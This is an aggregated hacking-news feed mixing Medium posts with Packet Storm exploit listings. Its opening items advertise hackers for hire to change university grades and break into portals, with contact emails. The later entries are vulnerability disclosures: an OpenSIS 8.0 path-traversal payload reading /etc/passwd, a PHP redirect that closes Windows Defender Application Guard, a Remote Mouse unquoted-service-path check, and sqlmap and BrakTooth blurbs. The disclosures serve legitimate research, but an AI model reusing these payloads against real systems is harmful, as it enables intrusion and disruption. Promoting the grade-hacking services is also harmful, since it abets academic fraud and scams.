Hacking on Medium
HOW TO HIRE A HACKER TO CHANGE GRADES

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CONTACT US ON MAGICFINGERHACKERS@GMAIL.COM on any hacking relating issues.

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Hacking on Medium
HOW TO HACK UNIVERSITY PORTAL AND DATABASE

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REDEMPTIONHACKERSCREW@GMAIL.COM — — PROFESSIONALLY KNOWN FOR UNIVERSITY PORTAL HACK.

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Hacking on Medium
My Facebook recently got hacked and how I got it back

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I’ve been using Facebook since past 8 or 10 years as long as I can remember. And during such a long period, I’ve had various security…

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Hacking on Medium
NCIIPC — Responsible Vulnerability Disclosure Program

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NCIIPC stands for National Critical Information Infrastructure Protection Center.

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WDAG can be closed by redirecting to URL with long host name
https://www.reddit.com/r/redteamsec/comments/phax3s/wdag_can_be_closed_by_redirecting_to_url_with/

submitted by /u/Jdgregson (https://www.reddit.com/user/Jdgregson)
[link] (https://github.com/jdgregson/Disclosures/tree/master/microsoft/wdag-dos-long-hostname) [comments] (https://www.reddit.com/r/redteamsec/comments/phax3s/wdag_can_be_closed_by_redirecting_to_url_with/)

Exploit Collector
Remote Mouse 4.002 Unquoted Service Path

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Remote Mouse version 4.002 suffers from an unquoted service path vulnerability.

MD5 | 1a0690ef5839f55c744ed5a73d3fb409

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# Exploit Title: Remote Mouse 4.002 - Unquoted Service Path
# Exploit Author: Salman Asad (@deathflash1411, salman@defmax.io)
# Date: 03.09.2021
# Software Link: https://www.remotemouse.net/downloads/RemoteMouse.exe
# Vendor Homepage: https://www.remotemouse.net/
# Version: Remote Mouse 3.008 & 4.002
# Tested on: Windows 10

# Proof of Concept:

C:\Users\death>sc qc RemoteMouseService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: RemoteMouseService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Remote Mouse\RemoteMouseService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : RemoteMouseService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\Users\death>cmd /c wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
RemoteMouseService RemoteMouseService C:\Program Files (x86)\Remote Mouse\RemoteMouseService.exe Auto

Source:packetstormsecurity.com

Exploit Collector
BRAKTOOTH: Causing Havoc On Bluetooth Link Manager

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This whitepaper discusses BRAKTOOTH, a family of new security vulnerabilities in commercial BT stacks that range from denial of service (DoS) via firmware crashes and deadlocks in commodity hardware to arbitrary code execution (ACE) in certain IoTs.

MD5 | 83e56767b319b5f79741b2ed5ec789fa

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Source:packetstormsecurity.com

Exploit Collector
SQLMAP - Automatic SQL Injection Tool 1.5.9

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sqlmap is an open source command-line automatic SQL injection tool. Its goal is to detect and take advantage of SQL injection vulnerabilities in web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user's specified DBMS tables/columns, run his own SQL statement, read or write either text or binary files on the file system, execute arbitrary commands on the operating system, establish an out-of-band stateful connection between the attacker box and the database server via Metasploit payload stager, database stored procedure buffer overflow exploitation or SMB relay attack and more.

MD5 | 32819398c46317bb918049666fad4e8f

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Source:packetstormsecurity.com

Exploit Collector
OpenSIS 8.0 Directory Traversal

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OpenSIS version 8.0 suffers from a local file inclusion vulnerability via a path traversal.

MD5 | b5b5159ba7f41f0e12e980bac421c26d

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# Exploit Title: OpenSIS 8.0 'modname' - Directory/Path Traversal
# Date: 09-02-2021
# Exploit Author: Eric Salario
# Vendor Homepage: http://www.os4ed.com/
# Software Link: https://opensis.com/download
# Version: 8.0
# Tested on: Windows, Linux

The 'modname' parameter in the 'Modules.php' is vulnerable to local file inclusion vulnerability. This vulnerability can be exploited to expose sensitive information from arbitrary files in the underlying system.

To exploit the vulnerability, someone must login as the "Parent" user, navigate to http://localhost/Modules.php?modname=miscellaneous%2fPortal.php. The 'modname' parameter and requests the Portal.php's contents. By going back a few directory using '..%2f' decoded as '../' it was possible to disclose arbitrary file from the server's filesystem as long as the application has access to the file.

1. Login as "Parent"

2. Open a web proxy such as BurpSuite and capture the requests

3. Navigate to http://localhost/Modules.php?modname=miscellaneous%2fPortal.php..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&failed_login=

4. Check the response

PoC: https://youtu.be/wFwlbXANRCo

Source:packetstormsecurity.com

Exploit Collector
Windows Defender Application Guard Denial Of Service

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Windows Defender Application Guard suffers from a denial of service vulnerability when fed an overly long url.

MD5 | f2962e7a8daadbe489471872df92d89b

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Windows Defender Application Guard (also known as "WDAG", Microsoft Defender Application Guard, and "MDAG") can be closed by any script or website loaded in WDAG by redirecting the browser to a URL with a long hostname (e.g, 10,000 characters long). This can cause a denial-of-service condition.

Impact: 4.3
CVSS 3.1: AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L/E:H/RL:U/RC:C

## Details

Application Guard will immediately close if there is any attempt by a user or website to load a URL where the hostname exceeds a certain length. The exact length needed is difficult to determine, but the issue occurs reliably with hostnames longer than 5,100 characters. A Microsoft engineer on the WDAG team indicated that this is working as designed, stating "This doesn't appear to be a crash. We quickly, but gracefully, tear down the container browser if container<-host messages are too large."

To exploit this issue, an attacker first needs to determine that the user is viewing the website in WDAG. This is easy to determine on the server side as WDAG sends an HTTP header named `x-ms-applicationguard-initiated` with a value of `1` with all requests.

Using these details, a website loaded inside of WDAG is able to close WDAG on the visitor's host operating system with the following PHP code:

if (isset($_SERVER['HTTP_X_MS_APPLICATIONGUARD_INITIATED'])) {
header('Location: https://'.str_repeat('a', 10000).'.example.com');
}

JavaScript executed in WDAG is able to redirect to a similar URL and cause WDAG to close, but a method of detecting WDAG on the client side has not yet been found.

You can find a Proof-of-Concept here: https://research.jdgregson.com/poc/wdag/dos1/
You can find this writeup online here: https://github.com/jdgregson/Disclosures/tree/master/microsoft/wdag-dos-long-hostname

## Impact

The impact of this vulnerability is Denial-of-Service. A malicious website is able to close WDAG at will, which can be used to prevent users from loading certain pages in WDAG. This may cause the user to load the page outside of WDAG on the host operating system.

The denial-of-service condition is short-lived as the user can simply open WDAG again. However, all of their tabs will be closed. Frequent closing of WDAG resulting in data and research loss may harm user adoption of WDAG.

## Disclosure Timeline

- 01/26/2021: Issue reported to WDAG team at Microsoft.
- 01/27/2021: Microsoft engineer responded indicating that WDAG is working as designed and the issue is not a buffer overflow.
- 08/31/2021: Full disclosure.

Source:packetstormsecurity.com